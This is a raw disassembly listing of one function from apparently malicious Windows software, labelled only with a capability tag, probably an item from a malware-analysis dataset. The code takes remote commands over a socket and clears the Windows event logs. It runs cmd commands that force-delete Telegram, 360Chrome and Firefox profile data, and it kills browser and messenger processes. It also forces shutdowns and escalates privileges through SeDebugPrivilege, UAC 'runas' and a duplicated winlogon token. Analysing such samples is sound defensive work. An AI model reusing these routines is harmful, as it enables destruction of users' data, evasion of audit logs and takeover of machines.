Function at 0x180004030
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x50
lea r8, [0x180000000]
movsxd rax, edx
movzx eax, byte [r8 + rax + 0x181c]
mov edx, dword [r8 + rax*4 + 0x17c0]
add rdx, r8
jmp rdx
xor ebx, ebx
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x28]
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call fcn.180003920
test eax, eax
je case.0x180001424.22
mov rcx, qword [0x180031cc0]
mov rbx, qword [rsp + 0x28]
mov r8d, dword [rsp + 0x20]
mov rax, qword [rcx]
mov rdx, rbx
call qword [rax + reloc.WS2_32.dll_recv]
test rbx, rbx
je 0x18000146f
mov rcx, rbx
call fcn.18000e3f0
mov ecx, 0x186a0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x180031cc0]
mov rax, qword [rcx]
add rsp, 0x50
pop rbx
jmp qword [rax]
call fcn.180003d10
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x410
call fcn.180006b40
mov r8d, 0x208
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call fcn.180003db0
test rbx, rbx
je case.0x180001424.22
mov rcx, rbx
add rsp, 0x50
pop rbx
jmp fcn.18000e3f0
mov ecx, 0x410
call fcn.180006b40
mov r8d, 0x208
xor ecx, ecx
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rcx, rbx
call fcn.180003db0
test rbx, rbx
je 0x18000150a
mov rcx, rbx
call fcn.18000e3f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 1
call fcn.180003f60
xor edx, edx
lea ecx, [rdx + 4]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
add rsp, 0x50
pop rbx
jmp fcn.180003f60
mov ecx, 1
call fcn.180003f60
xor edx, edx
lea ecx, [rdx + 6]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
add rsp, 0x50
pop rbx
jmp fcn.180003f60
mov ecx, 1
call fcn.180003f60
xor edx, edx
lea ecx, [rdx + 5]
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor ecx, ecx
add rsp, 0x50
pop rbx
jmp fcn.180003f60
lea rax, str.Application
mov qword [rsp + 0x68], rdi
xor ebx, ebx
mov qword [rsp + 0x30], rax
lea rax, str.Security
mov qword [rsp + 0x38], rax
lea rax, str.System
mov qword [rsp + 0x40], rax
mov rdx, qword [rsp + rbx*8 + 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_OpenEventLogW]
mov rdi, rax
test rax, rax
je 0x1800015ca
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ClearEventLogW]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseEventLog]
inc rbx
cmp rbx, 3
jl 0x1800015a1
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbx
ret
add rsp, 0x50
pop rbx
jmp 0x180004030
add rsp, 0x50
pop rbx
jmp 0x180004110
lea rcx, str.NTDLL.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je case.0x180001424.22
lea rdx, [0x1800283c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
lea r9, [rsp + 0x20]
lea edx, [rbx + 1]
lea ecx, [rbx + 0x13]
xor r8d, r8d
mov dword [rsp + 0x20], ebx
call rax
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x28]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18000166d
mov rcx, qword [rsp + 0x28]
lea rdx, str.SeDebugPrivilege
call fcn.180004310
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x50
pop rbx
jmp 0x1800045c0
lea rdx, str.AppDataLocalGoogleChromeUser_DataDefault
lea rcx, str.chrome.exe
add rsp, 0x50
pop rbx
jmp fcn.180004d10
lea rcx, str.cmd.exe__c_RunDll32.exe_InetCpl.cpl_ClearMyTracksByProcess_255
xor edx, edx
add rsp, 0x50
pop rbx
jmp qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.AppDataRoamingMicrosoftSkype_for_Desktop
lea rcx, str.Skype.exe
add rsp, 0x50
pop rbx
jmp fcn.180004d10
lea rcx, str.firefox.exe
call fcn.1800048d0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.del__s__f__appdata_MozillaFirefoxProfiles.db
add rsp, 0x50
pop rbx
jmp 0x18000e3f8
lea rdx, str.AppDataRoaming360se6User_DataDefault
lea rcx, str.360se6.exe
call fcn.180004d10
lea rdx, str.AppDataRoaming360se6User_DataDefault
lea rcx, str.360se.exe
call fcn.180004d10
lea rcx, str.360chrome.exe
call fcn.1800048d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cmd.exe__c_rmdir__s__q___userprofile_AppDataLocal360ChromeChromeUser_DataDefault_
xor edx, edx
add rsp, 0x50
pop rbx
jmp qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.AppDataLocalTencentQQBrowserUser_DataDefault
lea rcx, str.QQBrowser.exe
add rsp, 0x50
pop rbx
jmp fcn.180004d10
lea rdx, str.AppDataRoamingSogouExplorer
lea rcx, str.SogouExplorer.exe
add rsp, 0x50
pop rbx
jmp fcn.180004d10
lea rcx, str.Telegram.exe
call fcn.1800048d0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cmd.exe__c_rmdir__s__q___userprofile_AppDataRoamingTelegram_Desktop_tdata_
xor edx, edx
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.AppDataRoamingTelegram_Desktop_tdata
lea rcx, str.Telegram.exe
add rsp, 0x50
pop rbx
jmp fcn.180004d10
lea rdx, [rcx + 0x474]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
add rsp, 0x50
pop rbx
ret
push rbx
sub rsp, 0x2b0
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
lea rcx, [rsp + 0x92]
xor ebx, ebx
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x90], bx
call fcn.18000fe40
lea rdx, [rsp + 0x90]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x1800040f0
lea r8d, [rbx + 0x6c]
lea rcx, [rsp + 0x24]
xor edx, edx
mov dword [rsp + 0x20], reloc.WS2_32.dll_WSASetLastError
call fcn.18000fe40
lea rax, [rsp + 0x90]
mov qword [rsp + 0x38], rax
lea r11, str.runas
lea rax, [0x1800287dc]
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x50], 1
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1800040e9
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
je 0x1800040f0
mov eax, ebx
jmp 0x1800040f2
mov eax, 1
jmp 0x1800040f2
xor eax, eax
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.18000e030
add rsp, 0x2b0
pop rbx
ret
sub rsp, 0x68
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov rcx, rax
mov edx, 0x28
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1800041cf
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1800041cf
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x44], rcx
mov rcx, qword [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1800041cf
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.18000e030
add rsp, 0x68
ret
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.18000e030
add rsp, 0x68
ret
push rbp
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x18002e1e0]
xor rax, rsp
mov qword [rbp + 0x220], rax
lea rcx, [rsp + 0x68]
mov dword [rsp + 0x60], 0x507
call fcn.1800043c0
test eax, eax
je 0x1800048ab
mov qword [rsp + 0x340], rbx
mov qword [rsp + 0x348], rsi
mov qword [rsp + 0x350], rdi
mov rdi, qword [rsp + 0x68]
lea r8, [rsp + 0x78]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, eax
test eax, eax
jne 0x180004646
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_get_winlogon_token_handle_with_error__.8x_n
mov edx, eax
call fcn.18000ed40
mov rbx, qword [rsp + 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x180004877
mov rcx, rbx
call fcn.1800044d0
test eax, eax
je 0x180004856
lea rax, [rsp + 0x68]
xor esi, esi
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, rbx
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x18000483a
mov rcx, qword [rsp + 0x68]
lea r9d, [rsi + 4]
lea r8, [rsp + 0x70]
lea edx, [rsi + 0xc]
call qword [sym.imp.ADVAPI32.dll_SetTokenInformation]
test eax, eax
je 0x180004813
mov rdi, qword [rsp + 0x68]
lea r8d, [rsi + 0x68]
lea rcx, [rbp - 0x60]
xor edx, edx
call fcn.18000fe40
lea rcx, [rbp + 0x12]
xor edx, edx
mov r8d, 0x206
mov dword [rbp - 0x60], 0x68
mov word [rbp + 0x10], si
call fcn.18000fe40
lea rdx, [rbp + 0x10]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r11, [rbp - 0x80]
lea rax, [rbp - 0x60]
mov qword [rsp + 0x50], r11
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], 0x400
lea rdx, [rbp + 0x10]
xor r9d, r9d
xor r8d, r8d
mov rcx, rdi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x1800047ea
mov rcx, qword [rbp - 0x80]
mov edx, 0x2710
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x18000479f
mov rcx, qword [rbp - 0x80]
lea rdx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x180004785
mov edx, dword [rsp + 0x60]
test edx, edx
je 0x1800047c2
lea rcx, [0x180028688]
call fcn.18000ed40
jmp 0x1800047c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x1800286c0]
mov edx, eax
mov dword [rsp + 0x60], eax
call fcn.18000ed40
jmp 0x1800047c2
lea rcx, [0x1800286f8]
cmp eax, 0x102
lea rdx, [0x180028718]
cmove rdx, rcx
lea rcx, str.Aborting:__s_n
call fcn.18000ed40
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x18000486e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x180028748]
mov edx, eax
mov dword [rsp + 0x60], eax
call fcn.18000ed40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x18000486e
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x180028628]
mov edx, eax
call fcn.18000ed40
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x18000486e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x180028660]
mov edx, eax
call fcn.18000ed40
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
jmp 0x18000486e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x180028780]
mov edx, eax
mov dword [rsp + 0x60], eax
call fcn.18000ed40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x60]
mov rsi, qword [rsp + 0x348]
mov rbx, qword [rsp + 0x340]
mov rdi, qword [rsp + 0x350]
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.18000e030
add rsp, 0x330
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.Failed_to_get_handle_to_winlogon_with_error__.8x_n
mov edx, eax
call fcn.18000ed40
mov eax, dword [rsp + 0x60]
jmp 0x180004893
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rcx
lea r8, str.COMSPEC
lea rcx, [rbp + 0x18]
xor ebx, ebx
xor edx, edx
mov qword [rbp + 0x18], rbx
call fcn.180011124
test eax, eax
je 0x18000e443
cmp eax, 0x16
jne 0x18000e443
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.180010884
int3
mov rcx, qword [rbp + 0x18]
mov qword [rbp - 0x20], rcx
test rdi, rdi
jne 0x18000e467
test rcx, rcx
je 0x18000e4e9
xor edx, edx
call fcn.180011000
test eax, eax
sete bl
jmp 0x18000e4e5
lea rax, [0x1800257f8]
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], rbx
mov qword [rbp - 0x18], rax
test rcx, rcx
je 0x18000e4ca
call fcn.180010f78
mov edi, dword [rax]
call fcn.180010f78
lea r8, [rbp - 0x20]
mov dword [rax], ebx
mov rdx, qword [rbp - 0x20]
xor r9d, r9d
xor ecx, ecx
call fcn.180010ca8
mov ebx, eax
cmp eax, 0xffffffff
je 0x18000e4af
call fcn.180010f78
mov dword [rax], edi
jmp 0x18000e4e5
call fcn.180010f78
cmp dword [rax], 2
je 0x18000e4c3
call fcn.180010f78
cmp dword [rax], 0xd
jne 0x18000e4e5
call fcn.180010f78
mov dword [rax], edi
lea rdx, str.cmd.exe
lea r8, [rbp - 0x20]
xor r9d, r9d
xor ecx, ecx
mov qword [rbp - 0x20], rdx
call fcn.180010948
mov ebx, eax
mov rcx, qword [rbp + 0x18]
call fcn.18000e610
mov rdi, qword [rsp + 0x70]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret